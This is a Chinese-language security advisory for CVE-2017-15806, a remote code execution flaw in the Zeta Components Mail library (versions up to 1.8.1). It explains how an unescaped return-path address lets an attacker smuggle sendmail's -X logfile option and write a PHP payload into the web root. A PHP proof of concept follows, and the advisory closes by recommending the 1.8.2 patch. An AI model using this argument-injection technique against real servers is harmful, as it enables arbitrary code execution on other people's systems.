厂商:Zeta Components
模块:Mail, <= 1.8.1
类型:远程代码执行漏洞
发布时间:2017/11/12
作者:Kay
CVE-2017-15806
概览
Zeta Components是一个基于PHP 5实现的高质量的、通用的应用程序开发库,该项目于2010年5月加入Apache Incubator,但因为某些原因于2012年4月离开了Apache软件基金会。我们在Mail库中发现一个RCE(Remote Code Execution,远程代码执行)漏洞,可实现在服务器上执行任意代码。
细节
该漏洞位于ezcMailMtaTransport类中的send函数。
在 /src/transports/mta/mta_transport.php 的73行, send() 函数调用 PHP mail() 来发送邮件, 一般来说,PHP会使用sendmail作为默认的MTA. 当mail()函数被调用的时候,它的第五个参数是$additionalParameters,这个参数允许向sendmail传入额外的参数。在Mail中,给$additionalParameters赋值的代码如下所示:
$additionalParameters = "-f{$mail->returnPath->email}”;
如果攻击者传入的邮箱地址是这样:
'kay_malwarebenchmark@outlook.com -X/var/www/html/cache/exploit.php'
然后再把payload放在邮件正文中,sendmail会把日志写入到/var/www/html/cache/exploit.php中(向sendmail传入-Xlogfile,会写入日志到logfile)。这就导致该文件会包含邮件正文中的payload,通过远程访问 #域名#/cache/exploit.php就能够执行payload。
总的来说,该漏洞利用需要满足以下三个条件:
-
使用ezcMailMtaTransport
-
使用sendmail作为MTA
-
对ezcMailAddress未做正确转义。
PoC use Mailmail; $mail = new ezcMail(); $mail->returnPath = new ezcMailAddress('kay_malwarebenchmark@outlook.com -X/var/www/html/cache/exploit.php'); $mail->addTo( new ezcMailAddress('some one')); $mail->subject = "Mail PoC Exploit"; $mail->body = new ezcMailText("<?php phpinfo(); ?>"); $transport = new ezcMailMtaTransport(); $transport->send($mail); 建议
厂商已发布修复补丁,建议升级Mail到1.8.2